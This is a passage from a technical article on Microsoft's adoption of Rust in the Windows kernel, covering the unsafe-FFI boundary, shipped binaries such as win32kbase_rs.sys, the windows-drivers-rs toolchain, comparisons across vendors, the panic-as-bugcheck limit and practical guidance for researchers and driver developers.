The drop did not come from rewriting existing C and C++. It came from writing new code in Rust while letting the older code stop being modified. Vulnerabilities in any specific code module decay exponentially as that module stops changing, because (a) bugs that were going to be discovered get patched, and (b) new bugs are introduced primarily by new code [@google-android-2024]. Stop adding C, and the long-run share of memory-safety CVEs falls without anybody rewriting anything. That is the empirical anchor for the "memory-safe by default for new code" policy.

The policy alone is not enough. The mechanism that makes it executable is the unsafe-FFI boundary: a narrow, typed, auditable seam where safe Rust meets the C kernel it has to talk to.

A Rust crate attribute (`#![no_std]`) that opts out of linking the Rust standard library. The crate keeps `core` (and optionally `alloc`), and gets nothing else for free. Required for kernel binaries because the standard library assumes OS services -- file descriptors, threads, dynamic memory through libc -- that the kernel itself is in the business of providing. The Rust standard-library trait that defines the global memory allocator. In kernel Rust, the trait is implemented by `wdk-alloc` to call `ExAllocatePool2` (allocate) and `ExFreePoolWithTag` (free) -- the NT pool allocator entry points that drivers have used since the late 1990s. The mechanism a programming language uses to call functions written in another language across an Application Binary Interface (ABI). In kernel Rust, FFI to C kernel headers is generated mechanically by `bindgen` from WDK headers; every call site that crosses the boundary is wrapped in `unsafe`. A region of Rust code where the compiler relaxes its safety invariants and the programmer accepts responsibility for upholding them. Inside `unsafe`, raw pointers may be dereferenced, mutable static state may be touched, and FFI calls may be made. The safety guarantee of any Rust system is exactly as strong as the human audit of these blocks.

Every Rust kernel module has three unsafe layers, and the audit of those three layers is the safety story.

Layer 1: the allocator shim. The kernel has no malloc. It has ExAllocatePool2, which takes a pool type, a size, and a four-character tag, and returns memory from one of the NT pool managers. Rust's Box<T>, Vec<T>, String, and Arc<T> all expect a GlobalAlloc implementation underneath. wdk-alloc is the bridge: it implements GlobalAlloc over ExAllocatePool2 / ExFreePoolWithTag, with unsafe blocks at every FFI call [@windows-drivers-rs]. If the allocator shim is wrong -- if it forgets to zero memory, mismatches a tag, or returns a misaligned pointer -- every safe Rust collection above it is suddenly not safe.

Layer 2: the FFI surface. Bindgen generates extern "system" declarations from the WDK headers, turning each C function signature into a Rust prototype with unsafe semantics [@windows-drivers-rs]. Every cross-language call is an unsafe block in the Rust caller. The audit obligation here is: did bindgen translate the C signature faithfully? Is the calling convention right? Are pointer ownership and lifetime invariants in the C function's documentation actually upheld in the Rust caller? Bindgen is mechanical; the audit is not.

Layer 3: the pointer-arithmetic wrappers. Where Rust must observe raw C structs -- IRP, KAPC, FAST_IO_DISPATCH, and the various Win32k-internal layouts -- the boundary code wraps each struct in a typed Rust newtype that asserts the invariants the C code expects, before any non-unsafe Rust code touches it. A common pattern is the RegionImpl<'a> family of wrappers: a Rust struct that holds a raw pointer plus a lifetime parameter, with all public methods written in safe Rust and a small number of private unsafe methods that do the actual dereferencing.

flowchart TD subgraph Safe["Safe Rust"] SR["Rust kernel module
(safe code, ~90% of LOC)"] end subgraph Unsafe["Three unsafe layers"] U1["Allocator shim
wdk-alloc on ExAllocatePool2"] U2["FFI surface
bindgen extern system decls"] U3["Pointer-arithmetic wrappers
IRP, KAPC, FAST_IO_DISPATCH"] end subgraph C["C kernel"] NT["ntoskrnl, win32k, hal"] end SR --> U1 SR --> U2 SR --> U3 U1 --> NT U2 --> NT U3 --> NT

The picture is small. A typical Rust kernel module has a few hundred FFI call sites, all typed, all auditable, with the conventional Rust community discipline that every unsafe block carries a SAFETY: comment justifying the invariants the human author claims to uphold.The Rust community convention is that every unsafe block carries a SAFETY: comment justifying the invariants the human author guarantees. Microsoft's internal review guidance reinforces this for kernel code, and the windows-drivers-rs samples follow the pattern consistently. The safety guarantee of the whole module is exactly as strong as the audit of those few hundred sites. Not magic. Not a free lunch. A finite, reviewable boundary.

The windows-drivers-rs README acknowledges this without euphemism. Microsoft's Nate Deisinger captured the position in the November 2025 Windows Driver Development blog post:

Drivers using these crates still need to make use of unsafe blocks for interacting with the Windows operating system, removing some of the benefits of Rust. -- Nate Deisinger, *Towards Rust in Windows Drivers* [@techcommunity-rust-drivers].

That is the load-bearing acknowledgement. Rust does not magically make the C kernel disappear. It pushes the audit frontier to a narrow, typed, fuzz-able boundary. The wins compound there: type checking catches whole bug families before they ever reach review, fuzzing concentrates on a few hundred sites rather than a million, and the rest of the Rust code -- the other 90% -- gets the full benefit of the safety guarantee with no per-call-site audit burden.

Key idea: Rust in the Windows kernel is not magic. It is a finite, typed, fuzzable, reviewable boundary between safe Rust and unsafe C interop. The safety guarantee of any module is exactly as strong as the audit of that boundary -- which is exactly what makes it engineering policy rather than a wishful slogan.

That is the strategy in the abstract. What does it actually look like on disk in Windows 11 24H2 in May 2026?

6. What Actually Ships in Windows 11 24H2 in 2026

This section is an inventory of artefacts you can verify yourself: files on disk, GitHub repositories, KB articles, conference keynotes. Six subsections, each with receipts.

6.1 `win32kbase_rs.sys` -- the in-kernel GDI region and shape engine

File location: %SystemRoot%\System32\win32kbase_rs.sys. Reader-verifiable on any Windows 11 24H2 install. This is the binary the article opened on.

Original scope at the April 2023 announcement: the Win32k GDI region and shape engine, about 36,000 lines of Rust, behind a feature flag, with at least one syscall in the Windows kernel implemented in Rust [@register-2023-04-27]. By July 2023 the binary was visible in Canary Insider Preview Build 25905 with the GDI region implementation called out by name in the Windows Insider blog [@insider-25905].

The 2025 expansion surface is the Enhanced Metafile Format / EMF+ metafile-parsing path. The Check Point Research disclosure -- whose call flow §1 walks through in prose and the diagram below replays -- documents the bug; KB5058499, dated 28 May 2025, hardens the bounds check upstream and ships as a preview update for OS Build 26100.4202 [@checkpoint-dof; @kb5058499].

sequenceDiagram participant App as Untrusted process participant K as Win32k C dispatcher participant R as win32kbase_rs.sys (Rust) participant Panic as core::panicking App->>K: NtGdiSelectClipPath (malformed EMF+ metafile) K->>R: parse EmfPlusDrawBeziers record R->>R: build path with mismatched point count R->>R: region_from_path_mut() indexes out of bounds R->>Panic: panic_bounds_check (safe Rust detects OOB) Panic->>Panic: panic = abort (no unwinder in no_std) Panic-->>K: bugcheck SYSTEM_SERVICE_EXCEPTION K-->>App: machine bluescreens (DoS, not RCE) Note over R,K: Microsoft fixed in KB5058499 on May 28, 2025

The article does not claim a 2026 line-of-code figure for win32kbase_rs.sys. The most recent first-party number is the April 2023 ~36,000 figure quoted to The Register; no first-party Microsoft source has published a refresh. Open Problem P1 in section 9 keeps that an honest open question.Earlier drafts of articles like this one have asserted "over 100,000 lines of in-kernel Rust by 2026." That number is not in the primary record. The empirical claim we can make is that the binary exists, the GDI region engine is in Rust, the EMF parser is partly in Rust, and the binary is observably larger and more functional in 2026 than the 2023 ship -- but the actual line count is unpublished.

6.2 DWriteCore -- user-mode Rust in the Windows App SDK

DWriteCore is the standalone, distributable text-rendering and OpenType-shaping engine that ships through the Windows App SDK. At the April 2023 BlueHat IL announcement Weston quoted about 152,000 lines of Rust plus about 96,000 lines of C++, with a 5 to 15% performance improvement on selected OpenType shaping paths [@register-2023-04-27]. Russinovich at RustConf 2025 framed the team size and timeline: "Two Microsoft developers did it in six months -- 154,000 lines of code" [@newstack-russinovich]. DWriteCore is strictly user mode. The distribution channel is Windows App SDK 1.2 and above, not Windows 11 22H2/23H2 system updates. It is the user-mode counterpart to the kernel-mode win32kbase_rs.sys, not the same thing.

6.3 The `windows-drivers-rs` crate suite

The driver-development face of Microsoft's Rust effort is microsoft/windows-drivers-rs [@windows-drivers-rs]. The repository contains six crates:

wdk -- safe wrappers over the Windows Driver Kit
wdk-sys -- bindgen-generated raw FFI bindings
wdk-alloc -- the GlobalAlloc shim onto ExAllocatePool2 / ExFreePoolWithTag
wdk-build -- build script infrastructure for Cargo.toml
wdk-panic -- the panic_handler implementation with panic = "abort"
wdk-macros -- procedural macros (driver entry-point, IOCTL routing, etc.)

The cargo-wdk subcommand wraps link.exe, inf2cat, and signtool so cargo build does the right thing in a developer-mode signed driver workflow. November 2025: cargo-wdk became publishable on crates.io [@techcommunity-rust-drivers]. The companion samples repository microsoft/Windows-rust-driver-samples provides Rust ports of the canonical Windows Driver Samples for KMDF and UMDF [@windows-rust-samples].

Note: The windows-drivers-rs README is explicit: "still in early stages of development and is not yet recommended for production use" [@windows-drivers-rs]. Treat the crate suite as a developer-preview toolchain. KMDF 1.33-era bindings are on crates.io; WDM and UMDF are possible with wdk-build modification. LLVM 17 is pinned because LLVM 18 has an ARM64 bindgen bug.

6.4 OpenVMM, OpenHCL, and Hyperlight -- the virtualization-side Rust

microsoft/openvmm is a modular, cross-platform Virtual Machine Monitor written in Rust. The README is candid about scope: OpenVMM "can function as a traditional VMM, [but] OpenVMM's development is currently focused on its role in the OpenHCL paravisor" [@openvmm-github; @openvmm-guide]. OpenHCL is the Rust paravisor for AMD SEV-SNP and Intel TDX confidential virtual machines -- a guest-side software component that sits between the hardware-isolated VM and the host, mediating the small set of operations that have to round-trip [@phoronix-openhcl]. Hyperlight is Microsoft's Azure-side micro-VMM for very-low-latency function execution, with cold-start times in the low millisecond range [@newstack-russinovich].

A common confusion: OpenVMM is *not* the production [Hyper-V VSP (Virtualisation Service Provider) front-end](/blog/hyper-v-enlightenments-vmbus-and-the-synthetic-device-model/) that ships inside Windows 11 24H2. OpenVMM is a separate Rust VMM whose primary production deployment in 2026 is as the OpenHCL paravisor for confidential VMs in Azure [@openvmm-github]. The Rust status of the in-Windows Hyper-V VSP front-end has not been publicly announced; we treat it as Open Problem P6 in section 9.

6.5 The first in-box Rust drivers (Surface)

In July 2025, Microsoft's Surface team confirmed that several new Copilot+ Surface PCs ship with drivers written in Rust [@winbuzzer-surface; @thurrott-rust]. The drivers are Microsoft-internal -- shipped under the Surface OEM identity, signed through Microsoft's own driver-signing keys, exempted from the WHCP path that third parties must traverse. The Register, reporting in September 2025, summarised the third-party status: "There is also work underway to use Rust in the Windows kernel itself, some of which shipped in Windows 11 24H2" but no production third-party Rust driver has yet shipped under WHCP, because CodeQL's Rust support is in public preview at version 2.22.1 and the WHCP-validated version is still 2.21.4 [@register-2025-09-04].

6.6 The toolchain itself

The toolchain is the boring foundation that makes everything above possible. The shape, as of mid-2026:

Compiler: a recent stable rustc plus the MSVC linker. No specific minimum version is pinned by the public README; the LLVM dependency through bindgen is what determines the version floor [@windows-drivers-rs].Earlier coverage has speculated about a "rustc 1.72+" minimum version pin for the Microsoft kernel target. We have not found a first-party Microsoft source that pins this exact number. The README pins LLVM 17 (the bindgen LLVM, not the rustc LLVM) and is silent on the rustc minimum version.
Target: a custom no_std kernel target, not upstreamed to rust-lang/rust. Third-party reproducibility is therefore limited.
Bindings: bindgen-generated extern "system" declarations from WDK headers; LLVM 17 pinned because of the LLVM 18 ARM64 bug.
Allocator: wdk-alloc implementing GlobalAlloc over ExAllocatePool2 / ExFreePoolWithTag.
Panic handler: wdk-panic with panic = "abort".
Build orchestration: cargo-wdk plus cargo-make.
Verification: MIRI (where the code is portable enough to interpret), Driver Verifier (always-on inside the kernel test loop), OneFuzz and WinAFL for fuzzing, CodeQL with Rust support in public preview.

Russinovich announced at RustConf 2025 that Microsoft is also working on a "Cargo plugin for MSBuild," which would let MSBuild-driven internal builds invoke cargo cleanly [@newstack-russinovich]. Across Microsoft, Rust shows up in many places beyond Windows: SymCrypt-in-Rust, the Project Mu firmware effort, Azure Caliptra, the Azure Integrated HSM, and components of Azure Data Explorer all use Rust today [@infoq-russinovich]. The cross-context Microsoft Rust footprint is much larger than the in-Windows-kernel footprint alone, which gives the kernel effort upstream pressure to keep evolving.

Microsoft's posture is articulated and shipping. Is this a Microsoft idiosyncrasy or a cross-vendor convergence?

7. Linux, Android, Apple, CHERI: The Cross-Vendor Picture

Microsoft is not alone. The convergence is industry-wide -- with structurally different details per vendor.

Rust for Linux. Under maintainer Miguel Ojeda, Rust support landed in mainline Linux 6.1 in December 2022 [@rust-for-linux]. The "experimental" label was removed in late 2025. In-tree Rust drivers today include the AMCC QT2025 PHY, Android Binder, the ASIX PHY, DRM Panic QR, the Nova GPU driver (a long-term NVIDIA-replacement effort), Null Block, and the Tyr GPU; out-of-mainline-tree work includes the Apple AGX driver shipping on Asahi Linux, NVMe, and PuzzleFS [@rust-for-linux]. The structural difference from Microsoft's path is upstream: Linux forbids bindgen for in-tree drivers. Every Rust binding to a kernel C struct or function must be hand-reviewed and accepted onto LKML. The acceptance criteria are public; the upstream community has been contested -- Wedson Almeida Filho resigned in September 2024 citing non-technical conflicts -- but the project continues under Ojeda and the kernel maintainers' summit has reaffirmed it.

Android. Google's September 2024 "Eliminating Memory Safety Vulnerabilities at the Source" post is the empirical anchor for this article's policy claim [@google-android-2024]. The numbers we summarised in section 5 (76% in 2019 to 24% in 2024) come from this post. The strategy is identical to Microsoft's: write new code in Rust, leave most existing C and C++ alone, observe the long-run share of memory-safety bugs drop as the old code stops being modified. Android is the proof of concept that the new-code policy works at scale.

Apple. No public kernel-Rust commitment. XNU, Darwin, and IOKit remain C, C++, and Swift. The Asahi GPU project -- which lets Apple Silicon Macs boot Linux with full GPU acceleration -- is written in Rust and runs Apple hardware. But that is Rust running on Linux on Apple silicon, not Rust in Apple's own operating system. As of mid-2026, Apple has not publicly announced a Rust-in-kernel program.

CHERI and CHERIoT. The structural alternative to "Rust for new code" is "capability hardware that enforces memory safety on every dereference, including for legacy C and C++." CHERI is the Cambridge and SRI International project that extends conventional instruction set architectures with capability pointers -- tagged, bounded, monotonic references that the hardware checks at every load and store [@cheri-cambridge]. Arm's Morello prototype processor, released in January 2022, is the first commercial-class implementation. CHERIoT is Microsoft's microcontroller adaptation, a CHERI-extended RISC-V profile aimed at embedded and IoT workloads [@cheriot-org]. The CHERIoT RTOS lives at microsoft/cheriot-rtos [@cheriot-rtos-ms]. Structurally CHERI is different from Rust: it does not require a language rewrite, because the hardware enforces spatial and temporal safety on whatever language emits the pointers. Microsoft maintains both lines in parallel -- Rust for general-purpose Windows code, CHERIoT for embedded silicon -- and the two paths are complementary at the platform level.

Project Verona. Still alive as Microsoft Research [@verona-github; @verona-msr]. Publications at OOPSLA and PLDI. Not productising. Region-based concurrent ownership answers a different question from Rust's per-object model. Verona's value to the kernel-Rust effort was the academic credibility it lent the safer-systems-language thread; as a productisation candidate it remains unpursued.

flowchart LR subgraph Windows W1["win32kbase_rs.sys
Rust GDI/EMF"] W2["windows-drivers-rs
preview"] W3["CHERIoT for IoT
MSR plus partners"] W4["HVCI, CFG, CET
mitigations stack"] end subgraph Linux L1["Rust for Linux
mainline since 6.1"] L2["Hand-reviewed bindings
no bindgen in-tree"] end subgraph Android A1["New code in Rust
76 percent to 24 percent"] A2["Existing C / C++
left in place"] end subgraph Apple AP1["XNU in C and C plus plus
no public Rust commitment"] AP2["Asahi GPU in Rust
on Linux"] end subgraph Hardware H1["Arm Morello
CHERI prototype 2022"] H2["CHERIoT silicon"] end W1 --> Common["memory-safe by default
for new code
plus targeted rewrites"] W2 --> Common L1 --> Common A1 --> Common Common --> Defense["defence in depth
with mitigations stack
plus CHERI hardware where available"] W3 --> Defense W4 --> Defense H1 --> Defense H2 --> Defense

The pattern across the table is consistent. Every major operating-system vendor's safest forward path is some combination of (Rust for new code) + (CHERI-class hardware capabilities where the silicon supports them) + (the existing mitigations stack as defence-in-depth). No vendor is rewriting wholesale. The vendors differ on bindgen-versus-hand-written bindings, on in-tree process discipline, on capability-hardware availability, and on the relative weight of the three threads. They agree on the shape.

A compact decision matrix may help architects compare the seven approaches that were considered in the source survey.

Approach	Closes bug class	Worst-case crash	Hardware requirement	Production in Win 11 24H2
Legacy C/C++ with `/GS`, DEP, ASLR, CFG, CET	No (raises cost)	Memory corruption to exploitation	None (CET on Tiger Lake+)	Yes (default)
Rust in-kernel modules	Yes (covered modules)	Rust panic to kernel BSOD	None	Yes (`win32kbase_rs.sys`)
`windows-drivers-rs` for third-party drivers	Yes (per module)	Driver panic to bugcheck	None	Preview only
CHERI / Arm Morello capability hardware	Yes (all pointers, all languages)	Capability fault, process aborted	Yes (Morello, CHERIoT)	No (embedded only)
Verification (MIRI, RustBelt, formal proofs)	Yes (where proofs cover)	Caught at build time	None	Tooling only
OpenVMM / OpenHCL (Rust paravisor)	Yes (paravisor surface)	Paravisor panic in confidential VM	TDX or SEV-SNP CPU	Yes (Azure confidential VMs)
AI-assisted C-to-Rust migration	Aspirational	Per migrated module	None	Research only

The convergence is real. The strategy is articulated. So what cannot Rust-in-kernel do, even when everything goes right?

8. Four Theoretical Limits Rust-in-Kernel Cannot Escape

This section is the corrective. Even when everything goes right, Rust-in-kernel runs into four principled limits.

Limit 1: the unsafe boundary is irreducible. Any Rust module that interoperates with the C kernel must call into it; the FFI is unsafe by construction. The safety guarantee is exactly as strong as the audit of the unsafe blocks. This is not a flaw in Rust; it is a property of any safe-language-in-an-unsafe-substrate adoption. Inside unsafe, Rust does not check what you do; it trusts the human review. The audit therefore has to be load-bearing. The windows-drivers-rs README's statement that "drivers ... still need to make use of unsafe blocks for interacting with the Windows operating system" is the candid admission of this limit [@windows-drivers-rs; @register-2025-09-04].

Limit 2: a Rust panic at high IRQL is a kernel bugcheck. Because panic = "abort" is the only sound policy for no_std kernel binaries, and because at IRQL ≥ DISPATCH_LEVEL the kernel has nowhere to send a panic except the system-wide bugcheck, a correctly-fired Rust safety check in kernel context becomes a BSOD. Check Point's "Denial of Fuzzing" disclosure is dispositive: Rust correctly detected the out-of-bounds access, but the operational response was SYSTEM_SERVICE_EXCEPTION [@checkpoint-dof; @cybersecuritynews]. Rust transforms memory-corruption CVEs into denial-of-service CVEs in the kernel context. It does not eliminate the CVE class.

Russinovich framed this limit as a feature, not a bug, at RustConf 2025:

This we view as a success ... a bug that would have actually resulted in a potential elevation of privilege, as opposed to a blue screen crash. -- Mark Russinovich, RustConf 2025 [@newstack-russinovich].

He is right operationally. A BSOD is far cheaper than a remote code execution. But the CVE class did not vanish; it shifted. The new class is "panic-in-kernel-context, denial of service." That is the bug class that any future Rust-in-kernel security architect has to plan for.

Limit 3: the legacy C and C++ kernel -- roughly thirty million lines on common engineering estimates -- will not be rewritten on any plausible timeline. Even Galen Hunt's "1 engineer, 1 month, 1 million lines of code" research aspiration -- explicitly clarified by Hunt himself as research, not a corporate mandate -- would require sustained multi-decade effort to clear the whole kernel [@register-2025-12-24; @infoworld-not-rewriting; @windowslatest-galen]. Realistically the kernel will keep most of its existing C and C++ for the foreseeable future. The wins come from partial rewrites of high-blast-radius modules plus the new-code policy. Existing modules that do not change do not need to be rewritten to benefit from the new-code policy -- that is the Android empirical observation [@google-android-2024] -- but they remain potential bug-class carriers nonetheless.

Limit 4: Rust + unsafe cannot beat hardware capabilities on every bug class. CHERI and CHERIoT detect spatial and temporal memory-safety violations at every pointer dereference, including across the C and C++ legacy substrate that language-level approaches cannot rewrite [@cheri-cambridge; @cheriot-org].Spatial safety means accesses stay within an object's bounds; temporal safety means accesses do not touch freed objects. CHERI capabilities enforce both at the hardware ISA level for every load and store. The most defensible posture combines Rust for new code with CHERI-class hardware where the silicon supports it. Rust is necessary; on legacy code, it is not sufficient. The CHERIoT line at Microsoft (the microsoft/cheriot-rtos repository [@cheriot-rtos-ms]) is the explicit acknowledgement that Microsoft is investing in both layers because neither alone closes the question.

Key idea: Rust transforms memory-corruption CVEs into denial-of-service CVEs in the kernel context. It does not eliminate the CVE class -- and that is still a major win, but it is the actual win, not the marketing one.

If the policy is sound but the limits are real, what does the next decade actually look like in numbers and named open problems?

9. The 2026 Frontier and the Ten-Year Trajectory

Open problems matter when they are named. The state-of-the-art survey identified eight; each gets a paragraph here.

P1. The public corpus size of in-kernel Rust. The most recent first-party Microsoft figure remains the April 2023 number quoted to The Register: about 36,000 lines of Rust in win32kbase_rs.sys [@register-2023-04-27]. There has been no first-party refresh since. Any 2026 line-of-code claim greater than this -- including the "over 100,000 lines" framing that has circulated in secondary press -- is unsourced. We treat it as an open question.

P2. Upstreaming the no_std kernel target. Microsoft's Rust kernel target is not in rust-lang/rust. Third-party driver developers cannot reproduce the toolchain exactly without internal Microsoft assets. The windows-drivers-rs repository contains the public-facing crates and the cargo-wdk build orchestration, but the underlying compilation target is private [@windows-drivers-rs]. Upstreaming it would let external WHCP-bound driver authors build against the same toolchain as Microsoft's in-box drivers.

P3. WHCP and driver certification. As of September 2025, CodeQL supports Rust at version 2.22.1 (public preview), while only version 2.21.4 is "validated for use with WHCP" [@register-2025-09-04]. No production third-party Rust driver has yet shipped through WHCP. The certification path is being assembled in public; it is not yet open for production third-party submissions.

P4. Panic-as-BSOD mitigation. This is the Check Point bug class -- a correct Rust safety check in kernel context becomes a system-wide bugcheck [@checkpoint-dof]. The options are imperfect. Unwinding instead of aborting is unsound at high IRQL because the unwinder needs to run code that may itself page-fault. IRQL-aware fallbacks (degrade gracefully when at high IRQL, panic when at PASSIVE_LEVEL) are doable but add complexity. More conservative bounds-checking patterns in hot paths can reduce the panic surface but cannot eliminate it. This is an active research and engineering frontier.

P5. Mechanised formal verification of kernel unsafe blocks. RustBelt-grade proofs exist for specific libraries [@rustbelt-popl-page]. Production-scale verification of arbitrary kernel unsafe is open. The proof obligations are statable thanks to the RustBelt framework; discharging them at production scale across an entire driver's worth of unsafe blocks is not yet routine.

P6. The Hyper-V VSP migration. OpenVMM is in flight as the modular cross-platform Rust VMM whose primary deployment in 2026 is the OpenHCL paravisor [@openvmm-github; @phoronix-openhcl]. The in-Windows Hyper-V VSP front-end's Rust status is unannounced. This is the Stage-3 P6 open problem; the article does not assert that the production Hyper-V VSP has been migrated.

P7. AI-assisted migration. Galen Hunt's "1 engineer, 1 month, 1 million lines of code" target is the headline aspiration [@register-2025-12-24]. The methodological dependencies are non-trivial. Code-graph construction has to be accurate. AI translation quality has to be high. Semantic-equivalence preservation has to be checkable. Manual-intervention burden at the unsafe-FFI boundary will be significant. Recent academic work on type-directed C-to-safe-Rust translation -- Compiling C to Safe Rust, Formalized (Fromherz and Protzenko, OOPSLA 2026) -- shows what mechanical, proof-grade translation looks like for restricted subsets [@arxiv-c-to-rust], and that is the direction Russinovich has framed as preferred over LLM-only approaches.

On 24 December 2025, Galen Hunt's LinkedIn post -- *"My goal is to eliminate every line of C and C++ from Microsoft by 2030 ... Our North Star is 1 engineer, 1 month, 1 million lines of code"* -- was reported by *The Register* under the headline "Microsoft wants to replace its entire C and C++ codebase" [@register-2025-12-24]. The press cycle briefly suggested Microsoft was rewriting Windows in Rust. Within days, the picture was corrected. Hunt's own clarification: "My team's project is a research project. We are building tech to make migration from language to language possible. ... [The intent was] to find like-minded engineers, not to set a new strategy for Windows 11+ or to imply that Rust is an endpoint" [@infoworld-not-rewriting]. Microsoft's communications head Frank X. Shaw confirmed to Windows Latest that the company has no plans to rewrite Windows 11 using AI [@windowslatest-galen]. The "1 / 1 / 1M" project is a research aspiration inside the CoreAI group, not a Windows roadmap. Several outlets republished without that correction; the *InfoWorld* and *Windows Latest* pieces are the load-bearing references for the accurate framing.

P8. Ten-year trajectory. Three independent dynamics will determine the shape: Microsoft's conversion rate of existing high-blast-radius modules, the rate at which new code is written in Rust by default, and the empirical Android curve as a reference point [@google-android-2024]. The conclusion is not that the legacy kernel will be rewritten. The conclusion is that the share of memory-safety CVEs in Windows is likely to follow a trajectory shaped like Android's -- a multi-year decline driven by new-code-in-Rust plus targeted rewrites, with the absolute floor set by the residual unsafe audit surface at the FFI boundary and the not-rewritten C and C++ that retains some level of new development.

Quick reference for the questions almost everyone asks comes next. First, what you can do on Monday.

10. Practical Guide

Four audiences. Each gets a subsection.

10.1 For Windows-internals and security researchers

Identifying Rust-implemented kernel binaries is the first step. The Microsoft internal convention is the _rs suffix; the canonical example is %SystemRoot%\System32\win32kbase_rs.sys. The fastest verification:

Note: Open PowerShell on any Windows 11 24H2 machine and run: Get-Item C:\Windows\System32\win32kbase_rs.sys. If the file is present, you are running a Windows with kernel-mode Rust code today.

{// Demonstrates the logic of: Test-Path "\$env:SystemRoot\\System32\\win32kbase_rs.sys" const knownRustKernelBinaries = ["win32kbase_rs.sys"]; // Insider Preview 25905 (July 12, 2023) and later const systemRoot = "C:\\\\Windows"; const found = knownRustKernelBinaries.map(b => systemRoot + "\\\\System32\\\\" + b); for (const path of found) { console.log("Expected: " + path); } console.log("On a real Windows 11 24H2 install, this file is present.");}

Reverse engineering: dumping strings against win32kbase_rs.sys will surface Rust panic markers like panic_bounds_check, core::panicking::panic, and core::result::unwrap_failed -- the names the Rust standard library inserts when bounds checks or Option::unwrap calls misfire [@cybersecuritynews]. The Rust v0 name mangling scheme starts with _R and uses a Punycode-derived encoding for non-ASCII characters [@rust-rfc-2603]; tools that understand the scheme (recent IDA, recent Ghidra, rustfilt) demangle it. Functions like region_from_path_mut will appear in the binary as mangled _R... symbols.

For reproducing Check Point's "Denial of Fuzzing" methodology: the public write-up names WinAFL plus WinAFL-Pet as the orchestration tier, with crafted EMF and EMF+ metafile corpora driving NtGdiSelectClipPath and other Win32k entry points; BugId handles crash triage; MemProcFS handles memory-dump forensics [@checkpoint-dof]. The toolchain is reproducible on a research VM.

The Check Point harness suggests four productive bug-class targets when fuzzing the Rust kernel surface: (1) `panic_bounds_check` firings at array-indexing sites in geometry pipelines; (2) integer-overflow-checked-arithmetic divergences from C++ behaviour (Rust panics on overflow in debug builds, wraps in release -- check your build profile); (3) allocator-out-of-memory at the `wdk-alloc` boundary, where `ExAllocatePool2` can return `NULL` under pressure; (4) mismatches at `unsafe`-block invariants where a Rust safe wrapper trusts an assertion the C kernel does not actually guarantee.

10.2 For Windows driver developers evaluating Rust

The setup recipe for windows-drivers-rs:

Clone microsoft/windows-drivers-rs and microsoft/Windows-rust-driver-samples [@windows-drivers-rs; @windows-rust-samples].
Install a recent stable rustc with the x86_64-pc-windows-msvc toolchain.
Install the Windows Driver Kit (WDK) from Microsoft Learn.
Install LLVM 17. Not LLVM 18 (ARM64 bindgen bug); LLVM 19 is the awaited fix [@windows-drivers-rs].
Install cargo-make.
Enter an eWDK developer prompt so MSBuild and the WDK environment variables are present.
cargo install cargo-wdk (or take the version published on crates.io as of November 2025) [@techcommunity-rust-drivers].

{// The shape of the manifest documented in microsoft/windows-drivers-rs README. const cargoToml = [ "[package]", "name = \\"example-driver\\"", "version = \\"0.1.0\\"", "edition = \\"2021\\"", "", "[lib]", "crate-type = [\\"cdylib\\"]", "", "[profile.dev]", "panic = \\"abort\\"", "lto = true", "", "[profile.release]", "panic = \\"abort\\"", "lto = true", "", "[dependencies]", "wdk = \\"*\\"", "wdk-sys = \\"*\\"", "wdk-alloc = \\"*\\"", "wdk-panic = \\"*\\"", "", "[build-dependencies]", "wdk-build = \\"*\\"", "", "[package.metadata.wdk.driver-model]", "driver-type = \\"KMDF\\"", "kmdf-version-major = 1", "target-kmdf-version-minor = 33" ].join("\\n"); console.log(cargoToml);}

KMDF 1.33-era bindings are on crates.io. WDM and UMDF are possible with wdk-build modification but are not the documented happy path [@windows-drivers-rs]. The WHCP certification path is not yet greenlit for production third-party Rust drivers [@register-2025-09-04]. When not to choose Rust: driver classes with mature, well-fuzzed C and C++ equivalents, small attack surfaces, and broad cross-vendor deployments where churn cost outweighs Rust's safety benefits. The first generation of production third-party Rust drivers will likely be filter drivers, virtual-device drivers, and parsers for untrusted formats -- exactly the surfaces where Microsoft's own first-party Surface drivers have shipped [@winbuzzer-surface; @thurrott-rust].

10.3 For security architects

Strategic frame: treat Rust adoption as a long-term policy lever, not a near-term mitigation. For the next five years, assume the kernel is still 95%+ C and C++. Treat in-kernel Rust as incremental risk reduction at the modules where it lands -- the GDI region engine, the EMF parser, future surfaces around metafile and graphics parsing, possibly virtualization plumbing. Treat the unsafe-FFI boundary as the audit frontier; concentrate fuzzing, code review, and CodeQL-Rust analysis there. Rely on the existing mitigations stack -- HVCI, CFG, XFG, CET, Driver Verifier, WDAC -- as defence-in-depth that Rust does not replace [@learn-cfg; @learn-gs; @learn-dep]. Plan for the panic-as-BSOD class as the new DoS surface, and architect monitoring (event-log mining for SYSTEM_SERVICE_EXCEPTION rates, fleet telemetry for Rust-panic markers) accordingly.

10.4 For security researchers fuzzing the Rust kernel surface

Check Point's methodology is the public reference [@checkpoint-dof]; the productive bug classes and the WinAFL + WinAFL-Pet + BugId + MemProcFS pipeline are described in §10.1 above. Two items are specific to the Rust kernel surface and worth adding here. First, integrate CodeQL's Rust query pack once 2.22.1+ ships in your build pipeline -- only 2.21.4 is WHCP-validated today [@register-2025-09-04]. Second, the empirical companion-CVE pattern: the same Check Point campaign that surfaced "Denial of Fuzzing" also produced several C/C++ GDI vulnerabilities (CVE-2025-30388, CVE-2025-53766, CVE-2025-47984), which suggests there is more to find in the GDI region of Win32k regardless of language [@checkpoint-drawn].

11. Frequently Asked Questions

No. Microsoft's stated policy is "memory-safe by default for newly written code" plus targeted rewrites of high-blast-radius modules. The legacy C and C++ kernel is not being rewritten on any announced timeline. Galen Hunt's "1 engineer, 1 month, 1 million lines of code" framing is a research target inside Microsoft's CoreAI group; Frank X. Shaw, head of Microsoft's communications, confirmed within days of the December 2025 LinkedIn post that the company has no plan to rewrite Windows 11 using AI [@windowslatest-galen; @infoworld-not-rewriting; @register-2025-12-24]. No. Rust eliminates the memory-corruption CVE class *in the modules it covers*. It does not eliminate logic bugs, race conditions, or denial-of-service vulnerabilities. Check Point Research's "Denial of Fuzzing" disclosure -- patched in KB5058499 on 28 May 2025 -- is the dispositive case. Rust correctly detected an out-of-bounds access in `region_from_path_mut()` inside `win32kbase_rs.sys`; because `panic = "abort"` is mandatory in `no_std` kernel binaries, the response was a system-wide BSOD rather than a remote code execution [@checkpoint-dof; @kb5058499]. No. DWriteCore is user-mode code distributed through the Windows App SDK 1.2 and above. The kernel-mode Rust binary is `win32kbase_rs.sys`. The two are often conflated in secondary coverage because David Weston announced both at BlueHat IL 2023 on the same slide deck. DWriteCore is roughly 152,000 lines of Rust plus 96,000 lines of C++; `win32kbase_rs.sys` is the in-kernel piece, originally about 36,000 lines 